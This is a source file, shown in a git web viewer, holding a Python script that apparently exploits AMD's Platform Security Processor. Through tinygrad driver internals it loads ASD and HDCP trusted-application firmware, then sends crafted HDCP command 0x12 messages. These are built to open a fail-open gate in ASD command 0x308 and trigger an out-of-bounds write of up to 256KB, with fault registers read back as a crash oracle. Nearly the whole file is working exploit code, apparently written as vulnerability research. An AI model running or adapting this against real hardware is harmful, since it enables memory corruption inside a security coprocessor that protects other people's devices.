aboutsummaryrefslogtreecommitdiffstats
path: root/psp_out/exploit_asd308_bypass.py
blob: 3fba5582126aa65b1135cc670eecaf32bc6d4aac (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
"""Test the ASD 0x308 gate fail-open via HDCP cmd 0x12.

HDCP cmd 0x12 -> sub_404760 -> ASD 0x308 sub_D13340(a1=msg[0], a2=msg+4, ...).
ASD copies a1 bytes from a2 into v20[5120], re-derives a1' = b5<<16|b6<<8|b7 from
the copied header, and (nibble-9 path, b0=0x91, a1'>0x186) calls sub_D13750(v20);
if it returns 0 or 0xFFFF000A the gate opens and sub_D010E0(off_D134BC[0], v20, a1')
does a HUGE OOB write. Detector: crash oracle (a NEW fault PC != HDCP MAC).

Message layout (buffer b; HDCP msg = b+0xC, so a2 = msg+4 = b+0x10 = v20 source):
  b[0xC]  = a1 (first-copy size, in [48,5120])
  b[0x10] = v20[0..] header: b0=0x91, b3 => a2'(>0), b5b6b7 => a1'(OOB len)
"""
import ctypes, struct, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32
d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp); C2P=90112+64
def crash(): return tuple(adev.rreg(C2P+n) for n in (82,83,84,85,86,88))
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
    ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
    adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
    t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
    t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
    r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
sid,shm=load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())
def inv(buf,tc):
    adev.vram.view(shm,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
    iv.session_id,iv.ta_cmd_id=sid,tc; t0=time.time()
    try: psp._ring_submit(ic); return 0, bytes(adev.vram.view(shm,0x2000)[:]), time.time()-t0
    except RuntimeError: return stat(), bytes(adev.vram.view(shm,0x2000)[:]), time.time()-t0
    except TimeoutError: return "TO",None,time.time()-t0
print("baseline crash oracle:", [hex(x) for x in crash()])
def cmd12(a1size, b0,b1,b2,b3,b4,b5,b6,b7):
    b=bytearray(0x8000); struct.pack_into('<I',b,0,0x12)
    struct.pack_into('<I',b,0xC,a1size)          # msg[0] = first-copy size
    v20=b'' 
    hdr=bytes([b0,b1,b2,b3,b4,b5,b6,b7])
    b[0x10:0x10+8]=hdr                            # v20[0..7] = header
    # fill the rest of the copied region with a marker
    for k in range(0x18,0x10+a1size): b[k]=0x41
    ps,out,dt=inv(b,0x12)
    a1p=(b5<<16)|(b6<<8)|b7
    ta=struct.unpack_from('<I',out,4)[0] if out else None
    print("cmd12 a1=%#x b0=%#x a2'=%#x a1'(OOB len)=%#x -> psp=%s ta_ret=%s %.3fs"%(a1size,b0,(b2<<8|b3),a1p,ps,ta,dt))
    print("   crash oracle:", [hex(x) for x in crash()], " sOS:",psp.is_sos_alive())
    return ps,crash()

# Test 1: nibble-9 path, a2'=1, a1'=0x40000 (256KB OOB) -> if gate opens, huge write -> fault
cmd12(0x40, 0x91,0,0,1,0, 0x04,0,0)
# Test 2: nibble-8 path (a1' capped 5120): a2'=1, a1'=0x1000, b0=0x81
cmd12(0x40, 0x81,0,0,1,0, 0x00,0x10,0)
# Test 3: modest a1' just over buffer to probe off_D134BC size, a1'=0x2000
cmd12(0x40, 0x91,0,0,1,0, 0x00,0x20,0)
print("\nsOS alive:", psp.is_sos_alive())